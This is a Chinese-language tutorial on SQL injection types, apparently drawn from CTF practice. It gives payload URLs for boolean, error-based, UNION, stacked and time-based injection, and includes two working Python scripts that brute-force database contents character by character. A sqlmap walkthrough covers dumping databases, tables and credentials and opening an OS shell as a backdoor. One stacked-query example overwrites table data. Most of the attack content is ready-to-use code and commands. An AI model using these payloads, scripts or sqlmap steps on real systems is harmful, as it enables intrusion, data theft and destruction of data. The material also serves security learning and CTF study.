SQL的注入类型:
- Boolean-based blind SQL injection(布尔型注入)
- Error-based SQL injection(报错型注入)
- UNION query SQL injection(可联合查询注入)
- Stacked queries SQL injection(可多语句查询注入)
- Time-based blind SQL injection(基于时间延迟注入)
Boolean-based blind SQL injection(布尔型注入)
通过判断页面返回情况获得想要的信息。
如下SQL注入:
1 http://hello.com/view?id=1 and substring(version(),1,1)=5
如果服务端MySQL版本是5.X的话,那么页面返回的内容就会跟正常请求一样。攻击者就可以通过这种方式获取到MySQL的各类信息。
id='' and ascii(substr((select flag from flag), 2, 1))?102#
构造以上的请求进行字符猜解。 补充一个布尔型字符猜解的脚本:
import requests;
url='http://192.168.5.78/viewld.do?ldid=2%20And%20'
maystr='0987654321qwertyuiopasdfghjklzxcvbnm._{}'
flag=''
str=''
for j in range(50):
for i in maystr:
#str = url + "Substring((SeLect database()) From %s fOr 1)='%s'" %(j,i)
#news
#str = url + "Substring((SeLect group_concat(table_name) From InfOrmation_schema.tables WHere table_schema='news')From %s fOr 1)='%s'" %(j,i)
#tb_admin tb_flag tb_news
#str = url + "Substring((SeLect group_concat(column_name) From InfOrmation_schema.columns WHere table_name='tb_flag')From %s fOr 1)='%s'" %(j,i)
#flag
str = url + "Substring((SeLect flag From tb_flag)From %s fOr 1)='%s'" %(j,i)
#flag{1396265adbb760c86475304b98e3f61c}
res=requests.get(str).text
if len(res)>1200:
flag+=i
print i
continue
print flag
Error-based SQL injection(报错型注入)
如果页面能够输出SQL报错信息,则可以从报错信息中获得想要的信息。
典型的就是利用group by的duplicate entry错误。关于这个错误,貌似是MySQL存在的 bug: duplicate key for entry on select?、 SQL Injection attack - What does this do?
如下SQL注入:
1 http://hello.com/view?id=1%20AND%20(SELECT%207506%20FROM(SELECT%20COUNT(*),CONCAT(0x717a707a71,(SELECT%20MID((IFNULL(CAST(schema_name%20
2 AS%20CHAR),0x20)),1,54)%20FROM%20INFORMATION_SCHEMA.SCHEMATA%20
3 LIMIT%202,1),0x7178786271,FLOOR(RAND(0)*2))x%20FROM%20INFORMATION_
4 SCHEMA.CHARACTER_SETS%20GROUP%20BY%20x)a)
在抛出的SQL错误中会包含这样的信息: Duplicate entry 'qzpzqttqxxbq1' for key 'group_key'
,其中qzpzq和qxxbq分别是0x717a707a71和0x7178786271,用这两个字符串包住了tt(即数据库名),是为了方便sql注入程序从返回的错误内容中提取出信息。
UNION query SQL injection(可联合查询注入)
最快捷的方法,通过UNION查询获取到所有想要的数据,前提是请求返回后能输出SQL执行后查询到的所有内容。
如下SQL注入:
1 http://hello.com/view?id=1 UNION ALL SELECT SCHEMA_NAME, DEFAULT_CHARACTER_SET_NAME FROM INFORMATION_SCHEMA.SCHEMATA
Stacked queries SQL injection(可多语句查询注入)
即能够执行多条查询语句,非常危险,因为这意味着能够对数据库直接做更新操作。
如下SQL注入:
1 http://hello.com/view?id=1;update t1 set content = 'aaaaaaaaa'
在第二次请求 http://hello.com/view?id=1
时,会发现所有的content都被设置为aaaaaaaaa了。
Time-based blind SQL injection(基于时间延迟注入)
页面不会返回错误信息,不会输出UNION注入所查出来的泄露的信息。类似搜索这类请求,boolean注入也无能为力,因为搜索返回空也属于正常的,这时就得采用time-based的注入了,即判断请求响应的时间,但该类型注入获取信息的速度非常慢。
如下SQL注入:
1 http://hello.com/view?q=abc' AND (SELECT * FROM (SELECT(SLEEP(5)))VCVe) OR 1 = '
该请求会使MySQL的查询睡眠5S,攻击者可以通过添加条件判断到SQL中,比如IF(substring(version(),1,1)=5, sleep(5), ‘t’) AS value就能做到类似boolean注入的效果,如果睡眠了5s,那么说明MySQL版本为5,否则不是,但这种方式获取信息的速度就会很慢了,因为要做非常多的判断,并且需要花时间等待,不断地去测试出相应的值出来。
以下为一个利用时间延迟注入来爆破数据库内容的脚本
#coding:utf-8
import requests;
maystr="0987654321qwertyuiopasdfghjklzxcvbnm."
flag=''
for j in range(33):
for i in maystr:
url="http://ctf5.shiyanbar.com/web/wonderkun/index.php"
header={
# "X-Forwarded-For":"' + (select case when (substring((select database())from %s for 1)='%s') then sleep(5) else 0 end) and '1'='1" % (j,i) #
#"X-Forwarded-For":"' +(select case when (substring((select group_concat(table_name) from information_schema.tables where table_schema='web4') from %s for 1)='%s') then sleep(5) else 0 end) and '1'='1" % (j,i) #跑表明
"X-Forwarded-For":"' + (select case when (substring((select group_concat(column_name) from information_schema.columns where table_name='flag') from %s for 1)='%s') then sleep(5) else 0 end) and '1'='1" % (j,i)
#"X-Forwarded-For":"' + (select case when (substring((select flag from flag) from %s for 1)='%s') then sleep(5) else 0 end) and '1'='1" % (j,i)
}
try:
res=requests.get(url, headers=header,timeout=4).text
except:
flag+=i
print flag
# print res
使用sqlmap对某网站做测试结果:
可以看到这个注入点可以进行boolean-based blind, and/or time-based blind和 union query。
sqlmap教程(sql注入步骤)
1.检测注入点:
sqlmap.py -u url
2.暴库,暴出服务器上所有数据库的名称(sqlmap.py -u url --dbs)
3.服务器上所有的用户及密码,
4.当前web使用的数据库和用户,sqlmap.py -u url -b --current-db --current-user
5.列出数据库中所有的表,sqlmap.py -u url -D database --tables
6.列出表中的字段,sqlmap.py -u url -D database -T table --cloumns
7.暴出字段内容,sqlmap.py -u url -D database -T table -C columns --dump
如果需要表格post 提交方式,则增加--data 关键字,例如
sqlmap.py -u url --data "username=name&passwd=pass&submit=login"
关于如何利用SQL注入制造一个后门,参考文章http://www.freebuf.com/articles/222.html,可以制造数据库后门和系统后门。
简单的利用sqlmap制造系统后门:sqlmap -u url --os-shell